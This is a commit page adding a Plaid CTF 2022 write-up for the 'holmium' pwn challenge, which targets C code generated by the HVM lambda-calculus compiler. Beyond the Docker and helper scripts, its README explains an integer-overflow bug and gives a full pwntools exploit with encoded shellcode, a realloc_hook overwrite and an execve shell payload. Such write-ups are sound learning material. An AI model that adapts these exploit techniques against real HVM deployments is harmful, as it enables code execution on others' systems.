Skip to content

Commit 19e67fd

Browse files
Merge pull request #20 from Qwaz/holmium
Add Plaid CTF 2022 holmium write-up
2 parents 068c2bc + 555c056 commit 19e67fd

File tree

13 files changed

+5220
-0
lines changed

13 files changed

+5220
-0
lines changed

2022/plaid-ctf-2022/holmium/2n.holomium.c

Lines changed: 1564 additions & 0 deletions
Large diffs are not rendered by default.

2022/plaid-ctf-2022/holmium/2n.hvm.c

Lines changed: 1569 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
FROM ubuntu:focal-20220316
2+
3+
WORKDIR /pwn
4+
RUN apt-get update && apt-get install -y \
5+
gcc \
6+
&& rm -rf /var/lib/apt/lists/*
7+
8+
COPY [ "holmium", "flag.txt", "docker-main", "./" ]
9+
10+
CMD [ "./docker-main" ]
Lines changed: 326 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,326 @@
1+
# Holmium
2+
3+
* Category: Pwn
4+
* Solves: 2
5+
* Points: 500
6+
* Solved-by: Qwaz, setuid0
7+
* Write-up author: Qwaz
8+
9+
This challenge consists of a huge threatening Rust binary named `holmium`
10+
and a Docker environment to run it.
11+
The entrypoint of the container,
12+
`docker-main`,
13+
describes how our input is processed.
14+
It first reads input from the user
15+
and saves it to a file named `main.hvm`.
16+
Then, it runs the following code:
17+
18+
```
19+
./holmium c main.hvm
20+
gcc -no-pie -pthread -o main main.c
21+
echo "Running..."
22+
./main
23+
```
24+
25+
This reveals what is the goal of this challenge.
26+
It seems that `holmium` is some sort of a compiler
27+
that takes `.hvm` code and translate it to `.c`,
28+
and we need to exploit the generated binary, `main`.
29+
30+
If we run the provided binary,
31+
we get this readme:
32+
33+
```
34+
High-order Virtual Machine (0.1.23)
35+
==========================
36+
37+
To run a file, interpreted:
38+
39+
hvm r file.hvm
40+
41+
To run a file in debug mode:
42+
43+
hvm d file.hvm
44+
45+
To compile a file to C:
46+
47+
hvm c file.hvm [--single-thread]
48+
49+
This is a PROTOTYPE. Report bugs on https://github.com/Kindelia/HVM/issues!
50+
```
51+
52+
The problem is based on an actual project named [HVM](https://github.com/Kindelia/HVM).
53+
HVM is a yet another lambda calculus interpreter
54+
with a parallel interpretation in mind.
55+
The project readme contains a long claim about how awesome HVM is
56+
with a performance comparison with Haskell GHC,
57+
which I think [misleading](https://github.com/Kindelia/HVM/issues/72) because HVM and GHC are not doing the same thing.
58+
To list a few:
59+
60+
1. HVM precompiles known functions into the runtime itself,
61+
so programs would not have shared in-memory representations
62+
and creating a REPL is not straightforward.
63+
2. It silently generates corrupted values when handling clone-in-clone situation
64+
([#61](https://github.com/Kindelia/HVM/issues/61), [#44](https://github.com/Kindelia/HVM/issues/44#issuecomment-1030890540)).
65+
3. [It does not perform a proper thread synchronization](https://github.com/Kindelia/HVM/issues/66)
66+
(which is UB under the C memory model).
67+
68+
With that being said,
69+
the problem is to exploit `holmium`, not HVM.
70+
They are not our concern,
71+
or are they?
72+
To figure out the answer to this question,
73+
we compiled one of the example program and compared
74+
the output generated by `holmium` and `hvm`.
75+
There were three notable changes.
76+
77+
**Change 1: reduced heap size**
78+
79+
```patch
80+
- #define HEAP_SIZE (8 * U64_PER_GB * sizeof(u64))
81+
+ #define HEAP_SIZE (8 * U64_PER_MB * sizeof(u64))
82+
```
83+
84+
Probably just trying to reduce the resource cap, unless there is a heap exhaustion bug.
85+
86+
**Change 2: opcode change**
87+
88+
```patch
89+
- #define DP0 (0x0) // points to the dup node that binds this variable (left side)
90+
- #define DP1 (0x1) // points to the dup node that binds this variable (right side)
91+
- #define VAR (0x2) // points to the λ that binds this variable
92+
- #define ARG (0x3) // points to the occurrence of a bound variable a linear argument
93+
- #define ERA (0x4) // signals that a binder doesn't use its bound variable
94+
- #define LAM (0x5) // arity = 2
95+
- #define APP (0x6) // arity = 2
96+
- #define PAR (0x7) // arity = 2 // TODO: rename to SUP
97+
- #define CTR (0x8) // arity = user defined
98+
- #define CAL (0x9) // arity = user defined
99+
- #define OP2 (0xA) // arity = 2
100+
- #define U32 (0xB) // arity = 0 (unboxed)
101+
- #define F32 (0xC) // arity = 0 (unboxed)
102+
- #define NIL (0xF) // not used
103+
+ #define U32 (0x0) // arity = 0 (unboxed)
104+
+ #define F32 (0x1) // arity = 0 (unboxed)
105+
+ #define LAM (0x2) // arity = 2
106+
+ #define APP (0x3) // arity = 2
107+
+ #define OP2 (0x4) // arity = 2
108+
+ #define PAR (0x5) // arity = 2 // TODO: rename to SUP
109+
+ #define CTR (0x6) // arity = user defined
110+
+ #define CAL (0x7) // arity = user defined
111+
+ #define ERA (0xA) // signals that a binder doesn't use its bound variable
112+
+ #define ARG (0xB) // points to the occurrence of a bound variable a linear argument
113+
+ #define VAR (0xC) // points to the λ that binds this variable
114+
+ #define DP0 (0xE) // points to the dup node that binds this variable (left side)
115+
+ #define DP1 (0xF) // points to the dup node that binds this variable (right side)
116+
...
117+
u64 link(Worker* mem, u64 loc, Lnk lnk) {
118+
mem->node[loc] = lnk;
119+
//array_write(mem->nodes, loc, lnk);
120+
- if (get_tag(lnk) <= VAR) {
121+
+ if (get_tag(lnk) >= VAR) {
122+
mem->node[get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0)] = Arg(loc);
123+
//array_write(mem->nodes, get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0), Arg(loc));
124+
}
125+
return lnk;
126+
}
127+
```
128+
129+
Why did the problem author changed the opcode ordering? :thinking:
130+
131+
**Change 3: additional assert**
132+
133+
```patch
134+
u64 alloc(Worker* mem, u64 size) {
135+
if (UNLIKELY(size == 0)) {
136+
return 0;
137+
} else {
138+
u64 reuse = stk_pop(&mem->free[size]);
139+
if (reuse != -1) {
140+
return reuse;
141+
}
142+
u64 loc = mem->size;
143+
mem->size += size;
144+
+ assert(mem->size <= MEM_SPACE);
145+
return mem->tid * MEM_SPACE + loc;
146+
//return __atomic_fetch_add(&mem->nodes->size, size, __ATOMIC_RELAXED);
147+
}
148+
}
149+
```
150+
151+
This change seems to be making the program safer.
152+
153+
None of these changes make the program
154+
fundamentally vulnerable.
155+
Thus, our guess was that
156+
there is a type confusion bug in HVM
157+
that allows us to create a node with a high number opcode,
158+
and the opcode change helps us exploit the bug.
159+
Then, we actually started reading how HVM parses and generates C code.
160+
The code quality was okay,
161+
although it definitely did not reach the level of the claim in the readme.
162+
163+
Before we discuss the bugs,
164+
let me quickly introduce the node structure of HVM.
165+
HVM uses the following 64-bit value format to express each node:
166+
167+
```
168+
One character correspond to 16 bits
169+
TAeeeeeeVVVVVVVV
170+
T: tag (opcode)
171+
A: arity (# of child nodes)
172+
e: ext (function ID, linked variable location, etc.)
173+
V: val (32-bit)
174+
```
175+
176+
Upon reading the code, we spot three bugs that looked exploitable
177+
and few others that are not really security issues
178+
(e.g., name collisions, memory leak).
179+
180+
1. Thread safety issue in dup node handling: [#66](https://github.com/Kindelia/HVM/issues/66)
181+
2. Arity overflows into tags if we put more than 16 arguments in a function call.
182+
3. Integer overflow in Rust-generated rules: [`compiler.rs`](https://github.com/Kindelia/HVM/blob/bf593cfe68d98585e63e5854e369940eae1dffa6/src/compiler.rs#L340-L358)
183+
184+
The second bug allows us to OR values into the tag of CTR node (0x6),
185+
that are, CAL (0x7), DP0 (0xE), and DP1 (0xF).
186+
DP nodes are indirect variables
187+
that write the value to another location
188+
when passed to `link()` (see change 2 above),
189+
so we felt that we were on track.
190+
However, upon investigating how to exploit this arity overflow bug,
191+
we found the third integer overflow bug
192+
that basically allows us to create any node
193+
as long as its value can be expressed by
194+
a multiplication of two u32 values.
195+
It was so powerful that we didn't need the second bug at all.
196+
197+
I prepared an arbitrary write primitive,
198+
and setuid0 upgraded it into a full exploit.
199+
He put shellcode and short jumps
200+
as immediate values in the compiled binary
201+
and jumped into the middle
202+
by overwriting `realloc_hook`.
203+
I was so happy when we solved the problem
204+
because my wish was granted :)
205+
206+
![Wish](./wish.png)
207+
208+
Our final exploit:
209+
210+
```python
211+
from pwn import *
212+
213+
exploit = """// 0x26, 0x2a, 0x2a
214+
(Main) = (
215+
(
216+
Exploit
217+
11111111 41414141
218+
22222222 41414141
219+
33333333 41414141
220+
1304007 41414141
221+
55555555 41414141
222+
66666666 41414141
223+
77777777 41414141
224+
88888888 41414141
225+
)
226+
(
227+
Exploit
228+
//585878732 652987596
229+
585863312 652972176
230+
// xor eax,eax
231+
// mov al,0x40
232+
652984369 652951728
233+
// shl eax,1
234+
// shl eax,1
235+
652992721 652992721
236+
// shl eax,1
237+
// shl eax,1
238+
652992721 652992721
239+
// shl eax,1
240+
// shl eax,1
241+
652992721 652992721
242+
// shl eax,1
243+
// shl eax,1
244+
652992721 652992721
245+
// shl eax,1
246+
// push rax; pop rsi
247+
652992721 652959312
248+
// shl eax,1
249+
// shl eax,1
250+
652992721 652992721
251+
// shl eax,1
252+
// shl eax,1
253+
652992721 652992721
254+
// shl eax,1
255+
// shl eax,1
256+
652992721 652992721
257+
// shl eax,1
258+
// push rax; pop rdi
259+
652992721 652959568
260+
// xor eax,eax
261+
// mov al,10
262+
652984369 652937904
263+
// xor edx,edx
264+
// mov dl,7
265+
652988977 652937138
266+
// syscall
267+
// push rsi; pop rdx
268+
652936463 652958294
269+
// push rcx; pop rsi
270+
// xor edi,edi
271+
652959313 653000497
272+
// syscall
273+
652936463 3435973836
274+
3435973836 3435973836
275+
3435973836 3435973836
276+
3435973836 3435973836
277+
3435973836 3435973836
278+
3435973836 3435973836
279+
3435973836 3435973836
280+
3435973836 3435973836
281+
3435973836 3435973836
282+
3435973836 3435973836
283+
3435973836 3435973836
284+
3435973836 3435973836
285+
3435973836 3435973836
286+
3435973836 3435973836
287+
3435973836 3435973836
288+
3435973836 3435973836
289+
3435973836 3435973836
290+
3435973836 3435973836
291+
3435973836 3435973836
292+
3435973836 3435973836
293+
3435973836 3435973836
294+
3435973836 3435973836
295+
3435973836 3435973836
296+
3435973836 3435973836
297+
3435973836 3435973836
298+
3435973836 3435973836
299+
3435973836 3435973836
300+
3435973836 3435973836
301+
3435973836 3435973836
302+
3435973836 3435973836
303+
3435973836 3435973836
304+
3435973836 3435973836
305+
)
306+
// Leak test, Ctr(1, N=2, 1049301)
307+
(* 1945917207 3591923955)
308+
// Arbitrary write
309+
// Lam(7) = 2515077533 * 916807923
310+
// Executed as mem->node[1304007] = 4211158
311+
((* 2515077533 916807923) 4211158)
312+
)"""
313+
314+
s = remote("holmium.chal.pwni.ng", 1337)
315+
s.recvuntil("-\n")
316+
s.send("%d main.hvm\n" % len(exploit))
317+
318+
s.recvuntil("main.hvm\n")
319+
s.send(exploit)
320+
s.recvuntil("Running...")
321+
322+
s.send("\x90"*0x400 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
323+
s.interactive()
324+
```
325+
326+
`PCTF{b4by_h0lmium_d0wn_tight_wh3n_im_l0sing_my_m1nd_46bd197035aba40c}`
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
3+
docker build -t holmium .
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#!/usr/bin/env python
2+
import subprocess
3+
4+
subprocess.run(["./holmium", "c", "main.hvm"])
5+
6+
with open("main.c") as f:
7+
content = f.read()
8+
9+
content = content.replace("MAX_WORKERS (16)", "MAX_WORKERS (2)")
10+
content = content.replace(r""" //printf("reduce "); debug_print_lnk(term); printf("\n");
11+
//printf("------\n");
12+
//printf("reducing: host=%d size=%llu init=%llu ", host, stack.size, init); debug_print_lnk(term); printf("\n");
13+
//for (u64 i = 0; i < 256; ++i) {
14+
//printf("- %llx ", i); debug_print_lnk(mem->node[i]); printf("\n");
15+
//}""", r""" printf("reduce "); debug_print_lnk(term); printf("\n");
16+
printf("------\n");
17+
printf("reducing: host=%d size=%lu init=%lu (%lx)\n", host, stack.size, init, mem->node);
18+
for (u64 i = 0; i < 64; ++i) {
19+
printf("- %lx ", i); debug_print_lnk(mem->node[i]); printf("\n");
20+
}""")
21+
22+
with open("main.c", "w") as f:
23+
f.write(content)
24+
25+
subprocess.run(["gcc", "-no-pie", "-g", "-pthread", "-o", "main", "main.c"])
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#!/bin/sh
2+
3+
set -eu
4+
5+
cat << 'EOF'
6+
Holmium compiler explorer. Enter your program's length followed by your program.
7+
8+
cat <(wc -c main.hvm) main.hvm -
9+
EOF
10+
11+
read size rest
12+
13+
if ! [ 0 -le "$size" -a "$size" -le "1000000" ]; then
14+
echo 'Too big to run'
15+
exit 1
16+
fi
17+
18+
echo "Reading $size bytes into main.hvm"
19+
dd bs=1 count="$size" > main.hvm 2>/dev/null
20+
21+
./holmium c main.hvm
22+
gcc -no-pie -pthread -o main main.c
23+
echo "Running..."
24+
./main
20.2 MB
Binary file not shown.

0 commit comments

Comments
 (0)